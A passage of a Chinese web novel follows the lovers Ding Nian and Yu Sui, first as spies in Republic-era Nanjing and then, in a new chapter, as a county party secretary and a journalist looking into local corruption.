丁年缓缓跪下,仰头目光灼灼的看着她,“虞岁,你什么都可以怀疑,只有我想娶你这件事,不容置疑。我说的每一句你是我夫人,都是认真的。” 虞岁只觉得自己的心柔软的一塌糊涂,面对这样的他,很难不败下阵来,“丁年,我承认,我对你心动过。” 丁年抱住虞岁的腿窝,微微用力,他跪在地上,虞岁跪坐在他的腿上,“岁岁,求你,让我娶你,好吗?” 虞岁颤抖着嘴唇在他额头上印下一吻,倾身抱住他,在他耳边轻轻的说:“好。” 丁年的脑袋埋在虞岁颈间,发出一声喟叹,“真好,以后我能光明正大的保护你了,你都不知道我等这一天等了多久。” 虞岁想到了什么刚要开口,就听到门外一阵凌乱的脚步声…… 外面,传来了李砚章和祁元的说话声,“你敲,你是年哥的六姨太。” “你敲,你是李家的二公子。” 两个人谁都有点不太敢,最后福至心灵的把目光投到了一旁的暮山身上,异口同声的说:“小副官,你来。” 接着,暮山无奈的声音伴随着敲门声响起:“师座,人到齐了,李军座和白总指挥都在等您。” 虞岁和丁年简单整理了一番,手挽手走了出来。 暮山和祁元一脸的意料之中,只有李砚章激动的像个上窜下跳的猹,他凑到丁年身旁,“年哥,你知道我现在什么心情吗?” 丁年挑眉,就听李砚章接着说:“我最好的兄弟和我最好的姐妹修成正果了,我觉得我家的祖坟冒青烟了!” 虞岁下巴微扬,点了下不远处的众人,“你家老爷子的脸色才是快冒青烟了。” 虞岁动了动,想把手抽出来,但是丁年却握的更紧了。 丁年牵着她的手走到李宗仁和白崇禧面前,镇定自若的寒暄。 白崇禧状似无意的开口:“小丁啊,今天怎么没带白暑来啊?” “我没回家”,丁年不软不硬的回了一句。 白崇禧干笑两声,“你年纪也不小了,该定性了,总这么不着家也不行,什么时候能抱上大胖小子啊?”,他说完,身边一堆人跟着一起哄笑。 丁年抬手给众人介绍虞岁,“这位是我夫人,虞岁。” 虞岁鼻子一酸,说不清心里是什么滋味,非要说的话,也许是倦鸟归巢吧。 白崇禧和李宗仁对视一眼,眼神复杂,意味不明。 外人不知道,他们能不知道虞岁什么身份底细、干过什么勾当么? 白崇禧走过来拍了拍丁年的肩膀,“好小子!当真是郎才女貌,一对璧人啊!不过你也不能误了正事,上回交代你的差事,过来给我汇报汇报”,又转头对虞岁和颜悦色的说:“虞小姐,你在此稍候。” 虞岁点点头,看了丁年一眼,示意他放心她可以。 丁年点点头,看了祁元一眼,示意她看顾好虞岁。 看着丁年走远的背影,祁元凑到虞岁面前,伸出一只手,“你好,我是祁元,以后请多关照。” 虞岁笑了笑,伸出手跟她浅浅的握了一下。 书房内,白崇禧一个烟灰缸砸向丁年,丁年躲都不躲,烟灰缸擦过丁年的额角砸到墙上,又掉到地上,碎了一地。 白崇禧胸膛剧烈起伏,双眼圆睁,里面满是难以遏制的愤怒,“你到底是怎么想的?做出这等糊涂事!你不知道虞岁是国民党的老人么?眼下老蒋下野,远赴日本,等将来他一旦卷土重来,虞岁就是最好的情报收集工具!你等于在自己身边,在我身边,在第七军身边,钉下一颗钉子!” “健公,四年前我跟您说过的心里的人就是她,我是真的喜欢她。更何况,我身边的钉子还少么?” 丁年低着头,额角擦破的地方渗出丝丝血迹,顺着脸颊缓缓滑落,一声健公,是因为白崇禧字健生,只有最亲近的人才会这样称呼他。 果不其然,白崇禧愣了愣,看丁年这样也有些于心不忍,丁年可以说是从小跟着他的,还没有枪高的时候就跟着他鞍前马后的,从来不会恃宠生骄,这么多年了,第一次这样哀哀切切的用这么亲近的尊称…… 想到这,白崇禧叹了口气,“罢了,你喜欢,就收了吧。” “不是收,我要娶她。” “没那个时间给你操办婚礼了,你今晚回去就得整理行装,明天下午跟我走,为再次北伐做准备。” 丁年想了想,“那我明天要登报发声明。” 白崇禧气的直拍桌子,“你个小炮子子!” “健公……” “滚出去!爱干什么干什么!明天下午三点滚来见我!” “是,多谢健公!” 虞岁正有一搭没一搭的听祁元挤兑李砚章,一转头就看到丁年兴冲冲的走向她,连头发丝都透着喜悦的意味。 丁年向虞岁伸出手做邀请状,“请问这位美丽的丁太太有兴趣跟我一起夜游秦淮河么?” 虞岁嘴角噙着笑,伸手握住丁年的手,“承蒙厚爱。” 临走的时候丁年把暮山留下了,嘱咐他结束回把祁元送回家。 路过街角的洋装店,两个人进去各自选了时兴的常服。 丁年身着一袭浅蓝色的长衫,左肩处绣了一簇黑色的竹叶,袖口微翻设计,有一圈白边,更显得他温润青隽,气质出尘; 虞岁选了一件米色的旗袍,上面绣有彩色花鸟图案 ,领口和盘扣处有彩色镶边,衬得她的脸明艳的不可方物。 她挽着他的手臂走在秦淮河畔,耳边是丝竹声恍若天上乐,身旁是心上人仿佛梦中仙。 “丁年,我们这样,就像一对寻常夫妻。” “虞岁,你喜欢这种日子么?” “谁会不喜欢这样平静安逸的日子?只恨时局动荡不宁,有几人能安居乐业?” 丁年意有所指的问:“虞岁,一个国家怎么能有三个政权呢?早早晚晚,是要统一的。你觉得会是国民党还是共产党?或者说,你会选别人还是选我?” 虞岁脑中有什么信息一闪而过,快的她抓不住,心比大脑先反应,脱口而出就是四个字:“当然是你。” 丁年眉眼含笑,“虞岁,明天我会去登报声明,你是我丁年唯一的妻。” “倒也不用这么大声势。” “明天我就要出发准备北伐了,前路未卜,抱歉,委屈你了,等我回来,给你一场风风光光的婚礼。” “保重,为我保重,我等你回来。” “好,有你等,我一定会回来。” “丁年,前面有家照像馆,我们去留张合照吧。” “好。” 镁光灯闪耀,时间在这一刻定格,定格了丁年对虞岁的牵挂和虞岁对丁年的惦念。 黑白底的照片承载着无声的誓言,镌刻下有厚度有温度的爱的烙印。 第二天上午,印着丁年和虞岁结婚启事的报纸传遍了大街小巷。 诸公敬启:民国十六年,岁在丁卯。于这风云变幻之时代,我,丁年,与虞岁相逢相知,自此情根深种。时光往复,爱意眷浓,今得虞岁首肯,决意缔结百年之好。 虞岁,温婉端方,慧心兰质,于我而言,是寒夜暖灯,是心海航标。 我们愿以今日为始,携手走过风雨,共赴岁月长歌。特登报声明,正式结为夫妇,此后患难与共,生死相依。 望诸亲友、各界同人,共鉴此盟。 丁年 谨启 民国十八年,三月,丁府。 祁元看着镇定自若的虞岁有些惊讶,“这个时候你还能沉下心来插花?” “不然呢?我也去前线?帮不上什么忙再吃颗流弹?然后丁年还得分神保护我?” “这个仗真是打起来就没完没了,谁能想到北伐战打赢了还得打内战?” 虞岁剪掉一个旁逸斜出的枝桠之后,放下剪刀,“意料之中的事,最近日本人也是蠢蠢欲动的,照这个趋势下去,无论哪方赢了,日本人都有可乘之机。” “老蒋和桂系之间打起来,逼你站队了么?” “我对丁年承诺过,无论他和谁对上,我都会坚定的选他。何况两年前我同意他登报的时候,就相当于背叛了国民党,现如今不过是维持着表面的关系而已。谁也不得罪谁。” 正说着,暮山急匆匆的走进来,递给虞岁一封电报,“夫人,桂系兵败,师座正在撤回的路上。” 虞岁皱紧眉头,打开了手上的电报,「吾妻亲启,年安,勿念,正归,切切。」 祁元有些焦急,“桂系兵败,这南京城还能容得下丁年么?” 虞岁来回踱步,“不要慌,如今兵败只是对主要人物有影响,李宗仁和白崇禧就算是废棋了,以老蒋的性子,一定容不下他们!至于丁年……我一定会保下他”,她越说越坚决,想了想,“暮山,你去请李砚章过府一叙。” 还好,她还有棋可用。 祁元有些奇怪,“这个时候,他家老爷子都要倒了,你找他也没用啊。” “不,起码他能从李宗仁手里保下丁年,起码,我们能见到丁年回来,别的事,再从长计议。” 不能怪虞岁想的多,实在是她见过太多任务失败被自己人除掉的特工了。 国民党过往让她认识到的残酷事实就是:失败,就是死罪,死在自己人手里。 暮山答应着往外走,刚走到门口就听到一阵叫嚷声,三姨太白暑跑过来,暮山一把将她拦住,她还在喊:“虞岁!你给我出来!” 祁元都开始同情虞岁了,自从丁年走后,府里的二姨太陆茄深居简出,五姨太石棠也是个省事的,唯独这个白暑,三不五时的总要闹一场。 虞岁扬声,“暮山,放她进来,你去忙正事。” “是,夫人。” 白暑一进屋就指着虞岁质问:“我叔叔怎么会败?我们桂军怎么会败给老蒋?一定是你出卖了我们的情报!” 虞岁拍掉她的手,冷冷的嘲弄她:“你说的对,你还不知道吧?我其实会分身术,这两年我的分身一直跟着丁年窃取情报,满意了么?” “你?!牙尖嘴利!” “脑子是个好东西,可惜你没有,这么多年都不长,白吃了那么多血燕鲍鱼。” “噗”,祁元实在忍不住笑。 白暑气急败坏的瞪着虞岁,不知道说什么好。 虞岁真是懒得为难白暑,她也没有别的缺点,只是单纯的蠢,没什么坏心思,或者说,她没有脑子她能有什么坏心思? “白暑,是谁告诉你桂系兵败的?连我都是刚刚才知道的。” “是……石棠说,我叔叔败了,我在这府里再也没有靠山了,你一定会把我送走的。” 虞岁点点头,“她后面这句话倒是没错,我确实会把你送走。” “你凭什么?凭什么送我走?我不走!我要等年哥回来!” 虞岁捏了捏眉心,淡淡的说:“你必须走,眼下你叔叔只是兵败,再拖下去,他死了,你更没有活路。” 白暑惊的后退一步,“你是说……” 虞岁知道她听懂了,赞许的说:“想下去,就是你想的那样。” 良久,白暑认命般的问:“那你打算送我去哪?” “上海,香港,台湾,除了南京城,都可以,你有一夜时间可以考虑,我会送你和陆茄、石棠一起走。” “我不走!”,陆茄推门进来,又重复一遍,“我不走,我要跟丁年共进退。” 虞岁想,丁年真是她的好男人啊!瞧瞧这一个两个的,真是痴情。 “你们好像没听懂,我不是在跟你们商量,是通知。” “你凭什么?” “凭我是丁年登报公开的妻子,凭你们只是有名无实的姨太太,凭他走之前将所有事宜交托给我这一点,你们,就得乖乖听话。没关系,不听我也会强制。府里的亲兵可不会怜香惜玉。” 白暑还要闹腾,门外暮山跌跌撞撞的跑进来,看他这样,虞岁心里升腾起不详的预感…… 暮山的声音里甚至染上哭腔,“夫人,师座中枪,生死未卜!” “你说什么?!”,虞岁感觉一颗心仿佛从冰窟里捞出来又扔进油锅,她强迫自己镇定下来,“不是让你去找李砚章么?怎么丁年就中枪了?” “我去李府的时候,师座一行人正在书房谈话,说到您的时候,就吵起来了,他们要派人来抓你,师座咬定不肯,动起手来,就中枪了!” 虞岁的手指死死嵌进掌心,“为什么生死未卜?人为什么没带回来?李砚章呢?” “我一个人去的,李砚章让我回来搬救兵,他说他会守好师座!” 陆茄走过来摇晃着虞岁的手臂,“你说话啊?这时候你怎么不说话了?” “我说的,你们听么?” “听!只要能救丁年!你说什么我们都听!” 虞岁深吸一口气,闭了闭眼,“暮山,去把石棠给我找来!要快!” 三分钟后,虞岁看着面前的祁元,陆茄,白暑和石棠,有些感慨,除了祁元她隐约能猜到身份,其他都是确定了的各方的钉子,如今,这些钉子倒能好好利用一下。 她们同意最好,不同意她也还有别的路可走,总归都要试一试。 “陆茄,你去联系你父亲的旧部,白暑,你去求你叔叔,石棠,你去找九川纯井,问他,要什么条件。” 虞岁一说完,石棠不可置信的看向她,“你什么时候知道的?” 虞岁瞥她一眼,“都什么时候了你看我有空跟你废话么?我丁府白白养了你们这些年,都给我出去奔走!明告诉你们,丁年如果死了,你们都得给我陪葬!躲到天边去都没用!” 三人被她的气势慑住,不再耽搁,都一阵小跑出去。 “暮山,去备车,我要去找老蒋。” 暮山应声,疾步出门。 屋里只剩下虞岁和祁元的时候,虞岁平静的问:“祁元,你们组织,会放弃丁年么?” 祁元一愣,但她没问,只说:“组织不会放弃任何一个同志!” “如果我救了丁年,算立功么?你是他的上级吧?有资格决定么?” “算,我有。” “好,我今天,就算递一份投名状。” “你是要?” 虞岁眼中含泪,“我一定会把丁年带回来,你去找你的联络人,问他们,下一步的任务。” “好!” 总统府,虞岁其实没有想到这么容易就能见到老蒋,她一颗心终于放下来,丁年能活了。 到底是历经大起大落的上位者,老蒋也不绕弯子,单刀直入的问:“你是要保桂系的师长还是要保丁年?” 虞岁干脆利落的跪下,“委员长,我想救我的丈夫,救您的部下,救您忠诚的拥趸者。” 老蒋看着虞岁,良久,扬声喊了亲卫进来,“去找陈诚,让他带虞岁去接国民政府的师长回丁府。” 虞岁缓缓的站起来,面对老蒋,深深的鞠了一躬。 当虞岁见到丁年的那一刻,她的眼泪不受控制的掉落,还好,还好他还活着! 丁年气息奄奄的倒在虞岁怀里,“夫人,你来接我回家了。” “嗯,我来带你回家。” 五月,李宗仁通电下野,白崇禧遭到刺杀,逃往香港。 丁年任国民政府第七师师长,接管前桂系第七军残部和第189师。 至此,丁年和虞岁,有了共同的信仰和需要斡旋的局面。 这条路,走到现在,用了八年。 民国二十年,(1931年),五月,丁府 丁年盯着聚精会神画图的虞岁,忍不住打趣,“夫人为了革命事业奔波劳碌,令人拜服。” 虞岁推了他一下,“起开,挡到光了!” 丁年突然想到了什么,“岁岁,婚礼什么时候办?” 虞岁抖了抖纸上的墨迹,漫不经心的说:“丁师长可真闲,外头的局势一天比一天乱,你懂什么叫家国大义么?现在正是你舍小家为大家的时候。” 丁年苦笑,“这些年,我和你一直聚少离多,连婚礼都没给你补上,总觉得委屈你了。” “我们的丁师长为了我都遣散后院了,我有什么委屈的?外面的官太太们都要羡慕死我了。” “那你是不知道那群同僚有多嫉妒我,现在啊,我恨不得把你藏起来,不让任何人看到”,丁年说着,搂住虞岁。 “丁年,你把祁元也送走了,她怎么跟我们联络?” 丁年亲了一下她的额头,笑着说:“当初正赶上屠杀前夕,收留她本来就是暂时的,她总不能一辈子留在这,在外面,她能发挥更大的作用。” 虞岁把图纸递给丁年,“这是南京城的军事要塞图,这段时间老蒋召开的国民会议主题就是清剿红军,如果有机会见到她,记得提醒她万事小心,我其实很怕看到一起同行过的人流血。” “好,夫人放心。” 事情的走向,总是怕什么来什么。 9月18日,当晚,日本关东军蓄意炸毁沈阳柳条湖附近日本修筑的南满铁路路轨,并嫁祸于中国军队,日军以此为借口,炮轰中国东北军北大营…… 东北的沦陷,来的措手不及又势不可挡,南京国民政府采取不抵抗政策,局势雪上加霜。 民国二十一年,党部调查科。 虞岁接到高世柒电话的时候,有些意外,她怎么还活着? 听完她的话,虞岁只有一个念头,她怎么还不死? 虞岁最后一次见到祁元的时候,是在特务处的私牢。 其实她知道特务处的手段,也见过特务处的各种刑具,但是当这些手段被用在自己人身上时,没人能接受得了! 高世柒没有在虞岁脸上看到她想象中的表情,有点败兴,“虞岁,这人你认识吧?她的骨头啊,特别软,轻轻一夹,就碎了,可惜了,嘴太硬!怎么也不肯承认自己是红色激进分子,不然我看在你的面子上也会让她少遭点罪啊!” 虞岁忍了又忍,忍住掐死高世柒的冲动,心里恨的要命,面上一派云淡风轻,“你让我来,就是为了给我看你的手段有多失败?这么多年过去了,你还是一点长进都没有啊。” 高世柒一下子就被她刺激到了,她狠狠推了虞岁一下,把她推到祁元面前,“你行你来!看你能问出什么!” 虞岁第一次看到祁元这样的眼神,她的眼里没有对死亡的恐惧,反而亮的惊人,她的眼神仿佛在说,她将永远忠于她的信仰。 虞岁在高世柒看不到的角落,伸手过去握住祁元破碎不堪的手…… 好半晌,虞岁举起手枪,上膛,冷冷的说:“对一个废人有什么好问的,念在相识一场,我亲自送你上路。” 一声枪响过后,祁元笑着闭上了眼睛。 天,是红色的,很美。 当晚,丁年到家之后,发现虞岁没有开灯,一个人坐在暗处,不知道坐了多久。 透过窗爬进来的月光,静谧的趴在她脚边。 “岁岁,怎么了?”,丁年蹲下身,抱住她。 虞岁把脸埋进他的臂弯,无声的流泪,“今天我在特务处见到祁元了。” 一句话,丁年就懂了,“岁岁,每个同志的牺牲,都是为了保护其他志同道合的同伴,将来有一天,我和你,都要做好这种准备,这条路,很难,但总有人要走。” 一个同志倒下去,千千万万个同志站起来。 虞岁的声音闷闷的,“丁年,入党誓词教我。” “你的入党申请批准了?” “嗯,祁元最后给我敲了密语。” 她说,欢迎加入我们,同志。 三天后,高世柒在一条昏暗的巷道被不明分子射杀,身边只有一把打光了子弹的枪,是高世柒自己的枪。 秦淮河畔,虞岁摘下面罩,扔到河里。 祁元,你听到了么?我的入党誓词, 在那一颗颗子弹飞出的瞬间,我宣过誓了。 「我志愿加入中国共产党,坚持执行党的纪律,不怕困难,不怕牺牲,为共产主义事业奋斗到底。」 1932年到1937年,是虞岁和丁年的至暗时刻,聚少离多,看不到前路的出口,只有心中的信仰在无数次重复点亮希望的光,没有人知道,这条路要走多久。 没有人知道这条路的出口在哪。 民国二十六年,(1937年),南京沦陷。 曾经繁华的南京城被战火无情地灼烧,在阴霾的笼罩下,整座城市摇摇欲坠,每一寸土地都在发出痛苦的呻吟。 街头巷尾弥漫着刺鼻的硝烟,绝望的气息如浓稠的迷雾,死死地包裹着这座古都,在侵略者的铁蹄下,只留下满目疮痍与无尽的哀伤 。 南京保卫战失败后,桂系军队全部撤出南京。 丁年不剩一兵一卒,只身入局,怀里揣着多年前在秦淮河畔跟虞岁的合影,心里想着初见时她的样子。 几程苦雾志如磐,业海奔波影自单。 丁年倒下的时候在想什么呢? 我志愿加入中国共产党,我愿意以我的血肉之躯,构筑出一个新中国的脊梁。 我要我的后辈,站在先驱的脊梁和肩膀上,将革命意志,传承下去。 后辈们,请你们不忘先烈的初衷,大步向前走,一起奔赴璀璨的星河盛世。 虞岁吾妻,这是我欠你的婚书:两姓联姻,一堂缔约。良缘永结,匹配同称。看此日桃花灼灼,宜室宜家,卜他家瓜瓞绵绵,尔昌尔炽。谨以白头之约,书向鸿笺,好将红叶之盟,载明鸳谱。 心若诚,则年年;情若深,则岁岁。 丁年,我们在秦淮河相遇,我也会唱秦淮小曲: “我有一段情呀,唱给丁年听……丁年丁年,倾啊倾倾心呀,让我来,唱一支秦淮景呀,细细呀道来,唱给丁年听呀……秦淮缓缓流呀,盘古到如今,江南锦绣,金陵风雅情呀……瞻园里,堂阔宇深呀……白鹭洲,水涟涟,世外桃源呀……” 19.丁年,我不接受向下兼容 「丁年同志: 经上级党委全面考察、审慎研究决定,现正式任命你为棠榴县县委书记,任命自即日起生效。 过往工作里,你在原岗位攻坚显著,能力突出。如今棠榴县正处发展关键期,县委书记责任重大。望你到岗后,作为地方发展的领头雁,坚定信念,牢记使命,团结班子,凝聚力量,深入基层,深入群众,以人民为中心,解决群众难题,勇于担当,开拓创新,推动发展。严守党纪国法,廉洁从政,以身作则,营造良好的政治生态。 上级党委 1月4日」 办公室里,丁年看着任职书若有所思,棠榴县?隔壁市出了名的贫困县,经济常年垫底,民生问题突出,在整个省里都挂了号。 这次选了他空降过去,绝非偶然,背后的深意耐人寻味,看来,也是一场没有硝烟的硬仗。 “书记,您这次履新,我激动得不行!这几年跟在您身边,我学到了太多。往后我会打起十二分精神,做好您的助手,绝对让您省心!”,秘书叶九看上去比丁年的情绪波动还大,忙不迭的开始表衷心。 丁年不为所动,“官职的大小,都是人民的公仆,致力于为人民服务。你去把能查得到的所有关于棠榴县的报道资料全部整理出来给我。” “好的,丁书记。” 叶九最佩服的就是丁年,年纪轻轻的比很多浸淫官场多年的老油条还要精干内敛,深沉低调,做事滴水不漏,唯一的缺点就是……怎么说呢,像个假人。 永远都是一副情绪稳定的状态,说什么做什么都淡淡的,让人猜不透。 在他之前有个嘴碎的秘书离职前曾经跟他吐槽过,说丁年是拆解了情绪和灵魂交换来的权力,太难预判了。 他当时就腹诽过了,就这觉悟,怪不得会离职,领导的心思是让你预判的?揣摩和服从就够了。 该你知道的自然给你知会,不该知道的你就不要置喙。 电话铃响,丁年刚接起来,那边蒋茄懒洋洋的声音就传了过来:“听越暮那小子说,咱们年哥要调到隔壁县扶贫去了?看我多有觉悟,直接打你私人电话,怎么说丁书记?晚上出来聚聚?叫上顾元。” 丁年翻了下行程表和备忘录,随后说:“好。在哪?” “知道你要求从简,注重私蔽性,我在星河路新搞了个茶室,还没开业,正合适。” 星河茶楼,丁年到的时候顾元和蒋茄正聊的热闹,见到他,都站起来热络的打招呼。 顾元率先打起了官腔:“恭喜丁书记走马上任!您过去在各项工作中的表现有目共睹,这次履新是实至名归。未来我们一定全力配合您的工作,有任何需要,您随时吩咐!” 蒋茄娴熟的倒了杯茶,“小弟以茶代酒,恭贺丁书记更上一层楼!未来还要您多多提携啊。” 丁年玩味的看了他俩一眼,脱了外套,松了一颗衬衫扣子,接过茶坐下,“我说你们两个有事没事?尤其是你,顾元,什么时候搞起这套了?以往不是最讨厌你家老爷子这样么?” 顾元叹了口气,坐到丁年旁边,“别提了,我家老头子现在在家都要跟我说官话,说这是训练政治敏感度的基本功,还非要我逐句分析,条条块块那些论调都成家常便饭了。我这耳濡目染的,还不得让你验收一下成果么?” 话音刚落,越暮推门进来,丁年看他面色不善,遂问,“这是怎么了?臊眉耷脸的?” 越暮端过丁年手里的茶,一口气喝光,把杯子重重放下:“我都服了,我今儿算是明白为什么这帮人脑袋削个尖似的追逐权力!这东西是他妈真能让人上瘾!” 蒋茄一听,来了精神,笑着调侃,“诶哟我的越儿,也是少见你跟个愤青似的,怎么了,快跟哥说说,让哥几个乐呵乐呵!” 丁年猜到几分,“你现在这个基层历练岗位,接触的各类人比较杂,确实是最直观目睹特权的地方。” 越暮深吸一口气,冲丁年竖了个大拇指,“哥,要么说还得是你!我今儿在路上拦了个酒驾的,你是没看到他那样,好像喝酒的是他,违章的是我!我按流程给他开罚单,好家伙,他让我接电话!我们局长,隔着电话把我骂的狗血淋头的!挂了电话开车那孙子还跟我说什么,要不是他,我这辈子都接不到这种级别的电话!淦!我长这么大还没人敢这么跟我说话!” 顾元笑的不行,“越公子,委屈你了!这种的都是有点倚仗才狂的,难得啊,你还挺沉得住气。” 丁年也勾了勾唇角,“你刚到基层遇到这种状况也算是好事,在基层里做事不能光靠一腔热血,要学会周旋,在规则里找突破,等你把这一亩三分地捋顺了,以后遇到什么问题,都能变通了。” 越暮又喝了口茶,有些无奈的说:“下放我之前我家越长官千叮咛万嘱咐了,让我好好磨磨性子,一切向年哥学习,以年哥为标杆!不然就打断我的腿!你们又不是不知道他,真言出必行派。” 蒋茄给他把茶又续上,打趣的说:“拿你年哥立标杆怕是不行了,你年哥现在清心寡欲、无欲无求的,要不是一心扎根基层,我都怀疑他是不是要出家了!说起来,上次看他有情绪还是虞岁她……” 虞岁的名字在丁年那像是个禁忌,谁都不知道提了她丁年会有什么反应、会不会发疯。 这个名字刚一出口,顾元咳了一声打断他,蒋茄一愣,随即去看丁年的反应……丁年低垂着眼,看不清眼底的情绪…… 倒是越暮,看看这个看看那个,然后问:“我到的时候好像在楼下看到她了,不是你们叫她来的么?” 丁年条件反射似的抬头,“你说什么?她在哪?” “就……在楼下人工湖那里……” 丁年抓起外套,“带我去。” 顾元的声音在他身后响起,“年哥,是我叫她来的,你……别见怪。” 丁年的声音轻的几乎听不见,“谢了。” 屋里只剩下顾元和蒋茄,蒋茄倒了杯茶给顾元,犹疑的问:“我不怀疑年哥对虞岁的感情,但是这都过去三年了,你确定这招有用?” 顾元抿了口茶,开始追忆过往,“你、我、年哥、越暮咱们四个从小一起长大,一个大院出来的,你什么时候见他像三年前那样发疯过?一个虞岁,好像把他脊梁都抽走了,跟个游魂似的。瞧见没?他刚才那样,光是听个名字就被激活了,这以后啊,有的闹呢。只要他把心思放虞岁身上,咱们,就能松口气。” 蒋茄深以为然的点点头,“元哥,不愧是你啊,我妈从小就不让我跟你玩,说你蔫坏蔫坏的。” 顾元白他一眼,“我就当你是夸我。” “我当然是夸你了!别人都说年哥心思深,我不觉得,年哥他没有坏心思,他就是吧,运筹帷幄!不像元哥你,心眼子跟藕片似的,我从小就怕得罪你!” 顾元一个眼神过去,蒋茄收敛了笑,讪讪的问:“元哥,咱们下一步怎么办?” “你去找楚棠,让他好好关照他们的新书记,他自然知道该怎么做。” 越暮看了一圈,终于在人工湖的湖心亭看到虞岁,他连忙指给丁年看,一转头发现丁年正一瞬不瞬的看着虞岁的方向。 他的手几不可察的抖了一下,最终叹口气,拍拍丁年的肩膀,转身走了。 丁年看着不远处那道熟悉的身影,不过一千二百一十八天,她看上去更单薄了。 过眼年华,动人幽意,相逢几番春换? 虞岁若有所感,回过头,视线隔着湖光潋滟与丁年的视线遥遥交汇。 她在心里有些自嘲的想,果然啊,心动过一次的人,怎么可能只心动一次? 丁年一步一步走向她,跨过年少时青涩的身影和赤诚的爱意,跨过一千多个日日夜夜,跨过分别时候的歇斯底里,跨过山水万程,为她而来。 虞岁想起曾经,她不想要星星不想要月亮,只想要丁年为她而来,只为她。 那时候,她和他也算是青梅竹马,他出国读书,家里选了她作为陪读,她以为,他和她是一样的。 她和他门当户对,只等进修之后,回国完婚。 他说要一辈子站在她身后,执子之手 与子偕老,他要她做他的妻。 虞岁也以为,她和他的名字、她和他的照片会出现在同一本盖有钢印的证件上,在高朋满座中将爱意诉说到淋漓尽致。 是什么时候发现丁年和她不是一个世界的人呢?是她家出事,众人避之不及;是从小到大,丁年一路不显山不露水的,给她一种错觉,她们是一路人,直到他的背景初显…… 虞岁才明白,那些她以为的合适,不过是因为丁年模糊了阶级。 那一刻,虞岁没有办法形容那种无力感,是的,无力感。不是不爱了,年少时遇到过丁年这样惊艳的人,怎么能做到云淡风轻的将满腔爱意轻易剥离呢? 是太爱了,爱到不知道怎么办才好了,那时候的她和他,就是一场死局,无解。 人啊,一辈子有过那么多的瞬间,尽够了,所以她放手,她要留一份体面和美好,给她最初最后的爱,给她自己。 虞岁恍惚间,丁年走到她面前,轻轻说了一句,“好久不见。” “好久不见,丁年。” 丁年的声音里,带着一丝哽咽,“虞岁,想我么?想过我么?” 你想到我曾声泪俱下挽留你的瞬间,是什么感觉?是否有过心疼和后悔? 虞岁的目光在丁年脸上微微凝滞,过去那些汹涌的爱意与痛苦刹那间翻涌上来。 她看着眼前这个曾让自己的世界天翻地覆的男人,喉咙像是被什么哽住,好半天才找回自己的声音:“想过,怎么会不想呢?” 丁年红了眼眶,声音有些颤抖,“那我能……抱抱你么?” 虞岁轻轻摇了摇头,“丁年,向前看吧。” 丁年微微抬头看了一眼夜空,一片漆黑,没有星星没有月亮,他闭了闭眼,试图将眼底倾泻的情绪逼回去…… 再睁眼,他的视线里仍是藏不住的情愫,“虞岁,你欠我一个交代,即使这几年我也多少查到一些,但你始终欠我一句亲口的解释。” “丁年,不重要了。” “那什么才重要?我和你的那段过往算什么?” “算你年少轻狂,算我不自量力。” “虞岁,三年前你决绝离开我的时候,我就说过了,不要再出现在我面前,我自己都不知道我会做什么出格的事。” “丁年,你最清楚,我和你之间的差距。不是三言两语和简单的我爱你就能好好在一起。” “你还跟从前一样,让我拒绝不了又忍不住恨你,恨你能忍住不爱我。” 虞岁轻叹,话锋一转,“丁年,今天顾元跟我说你的调令下来了,我来,一是想恭喜你,二是想说,以后在工作中我们还少不了要打交道。” 丁年微微皱眉,“你去棠榴县做什么?” 虞岁脸上挂着从容专业的笑容,伸出一只手,“重新认识一下吧,我现在是棠榴县时政栏目组的一员,主要负责跟进社会新闻板块的报道,以后还请多多关照。” 丁年有一瞬间的惶恐,缓缓伸出手去握住了虞岁的手,“你不知道棠榴县的情况么?还选了个最危险的社会记者?” 虞岁的手与他浅握了一下,感受到掌心传来的温度,毫不犹豫的抽离,“正是因为知道,我才要去,总有人要去。” 丁年握紧了空荡荡的手心,“虞岁,你是准备自己来讨一个公道。” 虞岁耸耸肩,“丁年,我还记得读书的时候你最喜欢一句话,想要规则公平,就要努力成为制定规则的人,看得出来你在为了这句话努力,而我想要的,不只是公道,还有真相。” 丁年深知虞岁的性子,“那就祝我们,都能得到自己想要的。” “下次再见。” 浮云一别后,流水转瞬间。 棠榴县委书记办公室,丁年看完秘书整理的各方途径的资料,揉了揉眉心,一波又一波的扶贫金去了哪里?专项款用在哪里? 他深知,棠榴县的问题盘根错节,背后涉及各方利益,但他既然来了,就没打算退缩。 想到了什么,他问秘书:“叶九,我记得去年开始,组织要求每个政府部门门口都要设置便民信箱,方便群众第一时间反馈意见,也便于政府听到基层群众的呼声,你给我资料里,怎么一封信也没有?” 叶九犹豫一下,从文件夹里拿出一封皱皱巴巴的信,放到丁年的桌上,“只有这一封。” “为什么才拿出来?” “我不确定这个算不算有效信息。” 丁年的神情瞬间严肃,“叶九,下不为例。你要做的是收集所有的群众反馈,而不是自行判断有没有价值。” “对不起书记!我错了!没有下次!” 丁年铺开那封皱巴巴的信,上面只有歪歪扭扭的一行字:楚棠不得好死。 “楚棠?是谁?” 叶九想了想,这个名字有点耳熟,“书记,这个名字跟县里新来的开发商的名字一样,他今天还预约了要拜访您。” “拜访我?” “是的,您刚刚到任,县里就来了新的开发商,群众的满意度很高。” 丁年扬了扬手里的信,冷笑,“暂且不去深究我来之前是没有信还是不敢有信,现在有了信,名字还直指刚出现不久的开发商,你说,是什么意思?” “会不会是有人故意借着开发商的热度,用这封信引咱们的注意,好掩盖其他更重要的问题?这信里的内容和群众满意度完全相反,很可能是个幌子。” 丁年站起身,缓缓走到窗前,望着窗外陈旧颓废的街景,想到棠榴县那片亟待改变的土地,有些怅然的说:“我们要做好打持久战的准备,一步步来,先把情况摸透,再制定切实可行的计划。” “明白了。那这个楚棠,您要见见么?” 丁年沉吟片刻,“见,既然他主动上门,就一定有所图,可以借机试探一番,看看能不能从他身上探出些有用的线索,说不定,能抓到撕开真相的口子。” “好的,我这就去安排。” 夕阳正好的时候,丁年见到了新来的开发商楚棠,他看起来年纪不大,整个人却透着一股子邪劲,像阳光投射到窗檐划出的灰色地带。 楚棠脸上挂着恰到好处的笑容,双手递上名片,热情洋溢的说:“丁书记!久仰您的大名,今日终于有幸一见!我一直盼着能和您深入聊聊在咱棠榴县的项目规划,为地方发展出份力。这往后啊,还得仰仗您多多扶持!” 丁年接过名片,随手搁在桌上,神色平静,不紧不慢开口:“楚总年轻有为,一来就给棠榴县带来新气象,老百姓都很关注。不过,新官上任三把火,我这刚到,听到的消息也是参差不齐。” 楚棠笑容微微一滞,旋即恢复如常,谦虚道:“我年轻不懂事,有什么做得不到位的地方,还得仰赖丁书记多多指教。” 